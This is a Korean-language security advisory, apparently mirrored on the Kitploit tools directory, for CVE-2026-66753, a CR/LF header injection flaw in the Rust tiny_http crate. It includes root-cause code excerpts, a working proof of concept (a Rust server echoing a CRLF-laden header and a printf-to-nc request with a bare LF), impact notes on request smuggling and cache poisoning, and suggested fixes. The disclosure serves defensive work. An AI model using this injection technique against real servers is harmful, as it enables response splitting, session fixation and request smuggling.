Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http- — Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-
Vulnerability AnalysisCode AnalysisWeb SecurityLearning & EducationCurated Resources
GitHubtheopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-

CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-

Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http)

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
23일 전아직 검토되지 않음

보안 권고: 헤더 값의 검증되지 않은 CR 및 LF를 통한 HTTP 헤더 주입 (tiny_http)

지정된 CVE ID: CVE-2026-66753

요약

tiny_http는 HTTP 헤더 값 내부의 캐리지 리턴(CR) 또는 라인 피드(LF)를 어느 방향에서도 거부하지 않습니다.

요청 측에서 read_next_line은 CRLF에서만 헤더 줄을 종료하므로, 단독 LF는 파싱된 값 내부에 남아 애플리케이션에 도달합니다. 응답 측에서 Header::from_bytes는 바이트가 ASCII인지만 검증하며, 응답 작성기가 값을 그대로 출력하므로 CRLF를 포함한 값은 응답을 분할합니다.

요청 헤더 값을 응답 헤더에 반사하거나 요청 헤더를 다른 연결에 다시 직렬화하는 애플리케이션은 아무런 이상 징후 없이 주입 원시형(injection primitive)을 상속하게 됩니다.

영향을 받는 버전

저장소 URL: https://github.com/tiny-http/tiny-http

영향 범위0.12.0(2022-10-06, 현재 릴리스)을 포함한 모든 출시 버전
검증됨0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0
수정 버전작성 시점 기준 수정 버전 없음

이는 Transfer-Encoding 파싱을 다루었고 0.6.3 및 0.8.0에서 수정된 RUSTSEC-2020-0031 / CVE-2020-35884와는 별개의 문제입니다. 여기에 설명된 동작은 해당 수정 이전과 이후 모두에 존재합니다.

심각도

CWE-113(HTTP 헤더의 CRLF 시퀀스 부적절한 중화)은 CWE-93(CRLF 주입)의 특수한 경우입니다.

CVSS 4.0 기본 점수 6.3 (중간) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

위협 모델

tiny_http 서버에 원시 HTTP를 전송하는 원격의 인증되지 않은 클라이언트. 자격 증명이나 사용자 상호 작용이 필요 없습니다.

다음 두 가지 소비자 형태가 이를 취약점으로 만듭니다:

요청 헤더 값을 응답 헤더에 복사하는 애플리케이션. 이는 CORS origin 에코, 요청 데이터로 구성된 Location 헤더, 쿠키 처리 뒤에 있는 반사 패턴입니다. 요청 값의 단독 LF는 응답에 도달하며, 애플리케이션이 응답 값을 직접 구성하는 경우 완전한 CRLF를 포함할 수 있습니다.

리버스 프록시와 같이 요청 헤더를 다른 연결에 다시 직렬화하는 애플리케이션. 단독 LF가 업스트림 요청에 기록되며, 단독 LF를 헤더 줄 종결자로 취급하는 백엔드는 하나의 요청을 두 개로 읽습니다. RFC 9112 섹션 2.2는 수신자가 이렇게 처리하는 것을 허용하므로 해당 백엔드는 사양에 부합합니다. Go net/http와 Python http.server 모두 이를 수용하는 것으로 측정되었습니다.

근본 원인

요청 측

tiny_http-0.12.0/src/client.rs 80~102행. 루프는 LF 앞에 CR이 있을 때만 반환합니다. 단독 LF나 단독 CR을 포함한 다른 모든 바이트는 100행에서 줄 버퍼로 푸시됩니다:

root@kitploit:~
 84          loop {
 85              let byte = self.next_header_source.by_ref().bytes().next();
...
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);
101          }

LF는 0x0A이고 CR은 0x0D이며 둘 다 유효한 ASCII이므로 94행의 AsciiString::from_ascii가 이를 수용합니다.

tiny_http-0.12.0/src/common.rs 184~191행은 그런 다음 값만 트림합니다. trim은 앞뒤 공백을 제거하지만 내부 바이트는 그대로 둡니다:

root@kitploit:~
184      fn from_str(input: &str) -> Result<Header, ()> {
185          let mut elems = input.splitn(2, ':');
186  
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

CRLF 쌍은 줄을 종료하므로 살아남을 수 없지만, 단독 LF, 단독 CR, 그리고 \n\r과 같은 시퀀스는 모두 살아남을 수 있습니다.

응답 측

tiny_http-0.12.0/src/common.rs 166~172행은 ASCII만 검사합니다:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

tiny_http-0.12.0/src/response.rs 99~104행은 이스케이프 없이 값을 기록합니다:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

226행의 HeaderField::from_str은 필드 이름의 공백을 거부하지만 171행의 HeaderField::from_bytes는 그렇지 않으므로 응답 헤더 이름도 검사되지 않습니다.

개념 증명

1단계. 파싱된 요청 헤더 값을 출력하고 CRLF를 포함한 값을 응답 헤더로 에코하는 서버를 시작합니다.

root@kitploit:~
use tiny_http::{Header, Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8004").unwrap();
    for request in server.incoming_requests() {
        for h in request.headers() {
            if h.field.equiv("X-Test") {
                println!("parsed X-Test value = {:?}", h.value.as_str());
            }
        }
        let evil = "a\r\nX-Injected: yes";
        let mut resp = Response::from_string("body");
        resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
        let _ = request.respond(resp);
    }
}

2단계. X-Test 값에 단독 LF가 포함된 요청을 전송합니다. 아래 명령에서 \n은 단일 라인 피드이고 \r\n은 CRLF입니다. 이 구분이 테스트의 핵심이므로 편집기가 이를 정규화하지 않도록 하십시오.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004

표준 출력 결과. LF는 여전히 파싱된 값 내부에 있습니다:

root@kitploit:~
parsed X-Test value = "aaa\nbbb"

네트워크상의 결과. 응답 헤더가 두 개로 분할되었습니다:

root@kitploit:~
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4

body

영향

tiny_http 자체는 요청 헤더를 다시 출력하지 않으므로 요청 측 동작은 직접적인 침해라기보다 잠재적 원시형입니다. 이는 헤더 값을 전달하거나 반사하는 모든 소비자에서 악용 가능해지며, LF를 허용하는 백엔드에 대한 요청 스머글링 또는 응답의 헤더 주입을 초래합니다.

응답 측 동작은 공격자의 영향을 받은 텍스트를 헤더 값에 넣는 모든 애플리케이션에서 직접 악용 가능합니다: 출처(origin) 컨텍스트에서의 스크립트 주입, 캐시 오염, 주입된 Set-Cookie를 통한 세션 고정, 보안 헤더 덮어쓰기 등입니다.

비교를 위해, http 크레이트는 HeaderValue::from_str에서 CR과 LF를 거부하므로 이를 기반으로 구축된 스택은 두 동작 모두 노출하지 않습니다.

해결 방안

두 경계 모두에서 제어 문자를 거부합니다.

read_next_line(src/client.rs 80행)에서 헤더 줄의 단독 CR 또는 단독 LF를 프로토콜 오류로 처리하고 값을 접어 넣는 대신 400을 반환합니다. 또는 분할 후 Header::from_str(src/common.rs 184행)에서 이를 거부합니다.

Header::from_bytes(src/common.rs 166행)에서 0x0D, 0x0A 또는 0x00을 포함한 값을 거부하고 RFC 9110 토큰 집합을 벗어난 문자를 포함한 필드 이름을 거부합니다. 시그니처가 실패 가능(fallible)하므로 호출자는 이미 Err 반환을 처리하고 있습니다.

도구 다운로드